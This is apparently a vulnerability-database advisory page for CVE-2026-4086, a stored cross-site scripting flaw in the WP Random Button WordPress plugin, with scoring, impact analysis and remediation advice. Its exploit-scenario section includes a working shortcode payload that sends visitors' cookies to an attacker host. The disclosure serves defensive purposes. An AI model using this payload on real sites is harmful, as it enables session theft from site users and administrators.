Skip to main content

Wp Random Button CVE-2026-4086

| EUVDEUVD-2026-14010 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 Wordfence GHSA-x5f6-m38m-6rp5
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS 3.1 score of 6.4 rates this as Medium severity, the real-world risk assessment is nuanced. The attack vector is Network (exploitable remotely via WordPress admin interface), with Low Attack Complexity and Low privileges required (Contributor role), and the impact scope is Changed (can affect other users' browsers). However, the Confidentiality and Integrity impacts are rated as Low in the CVSS vector, which underrepresents the actual threat since XSS can lead to session hijacking, credential theft, or malware distribution. The vulnerability requires no user interaction for execution once injected (UI:N), meaning it triggers automatically when pages are viewed. The primary mitigating factor is that exploitation requires authenticated access—this is not an unauthenticated XSS vulnerability. The lack of published EPSS score data or confirmed KEV (Known Exploited Vulnerability) status in public databases suggests this may not yet be under active widespread exploitation, but the straightforward nature of the vulnerability and public code references make proof-of-concept development trivial. Organizations should prioritize patching this on sites where contributor accounts are widely distributed or where user role management is lax, but it is lower priority than unauthenticated XSS vulnerabilities affecting the same asset.

Exploit ScenarioDerived

An attacker with WordPress Contributor access (or obtained through compromised credentials) creates or edits a page containing the shortcode [wp_random_button text="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]. When any visitor, including administrators, views this page, the injected JavaScript executes in their browser context with their session privileges, allowing the attacker to steal cookies, session tokens, or other sensitive data. The stored nature of this XSS means the attack persists and affects all future viewers until the malicious shortcode is removed. No user interaction or special conditions are required—simple page view is sufficient for exploitation, as the CVSS UI:N (No User Interaction) rating indicates.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 21, 2026

The WP Random Button WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in versions up to and including 1.0 affecting all installations of this plugin. Authenticated attackers with Contributor-level or higher privileges can inject arbitrary JavaScript code through improperly sanitized shortcode attributes ('cat', 'nocat', and 'text'), which will execute in the browsers of any user viewing the affected pages. With a CVSS score of 6.4 and network-accessible attack vector requiring only low-privileged authenticated access, this vulnerability poses a moderate but realistic risk to WordPress sites using this plugin, particularly those with contributor-level user accounts or where user roles are not carefully managed.

RemediationAI

The primary remediation is to update the WP Random Button plugin to a patched version beyond 1.0 if and when such a patch is released by the plugin maintainer (newbiesup); site administrators should monitor the Wordfence vulnerability page (https://www.wordfence.com/threat-intel/vulnerabilities/id/0b9e11f5-5a05-4867-abd8-fb07c84a49b0) for patch availability. Until a patch is available, disable or remove the WP Random Button plugin entirely if it is not critical to site functionality. As an interim preventive control, restrict Contributor-level and above role assignments to trusted administrators only, and audit existing posts and pages using the wp_random_button shortcode for any suspicious attribute values that may have already been injected. Additionally, implement WordPress security hardening measures such as Web Application Firewall (WAF) rules to block requests containing common XSS payloads in shortcode attributes, and enable Content Security Policy (CSP) headers to mitigate the impact if XSS injection occurs despite preventive measures.

Affected VersionsENISA

WP Random Button * ≤1.0

Affected Packages

euvd wp_random_button no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from insufficient input sanitization and output escaping in the random_button_html() function of the WP Random Button plugin (CPE: cpe:2.3:a:newbiesup:wp_random_button:*:*:*:*:*:*:*:*). The plugin processes WordPress shortcode attributes ('cat', 'nocat', and 'text') and directly concatenates them into HTML without using WordPress security functions. Specifically, the 'cat' and 'nocat' parameters are inserted into HTML data-attributes without the esc_attr() function, while the 'text' parameter is concatenated into HTML content without esc_html() escaping. This is a classic instance of CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-controlled input flows directly into the output context without proper encoding for that context. The vulnerability is particularly severe because shortcodes are stored content—once injected via the post/page editor, the malicious script persists in the database and executes for all subsequent page views, making this a Stored XSS rather than Reflected XSS.

Know when Wp Random Button gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The WP Random Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cat', 'nocat', and 'text' shortcode attributes of the 'wp_random_button' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the random_button_html() function directly concatenates the 'cat' and 'nocat' parameters into HTML data-attributes without esc_attr(), and the 'text' parameter into HTML content without esc_html(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2026-4086, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy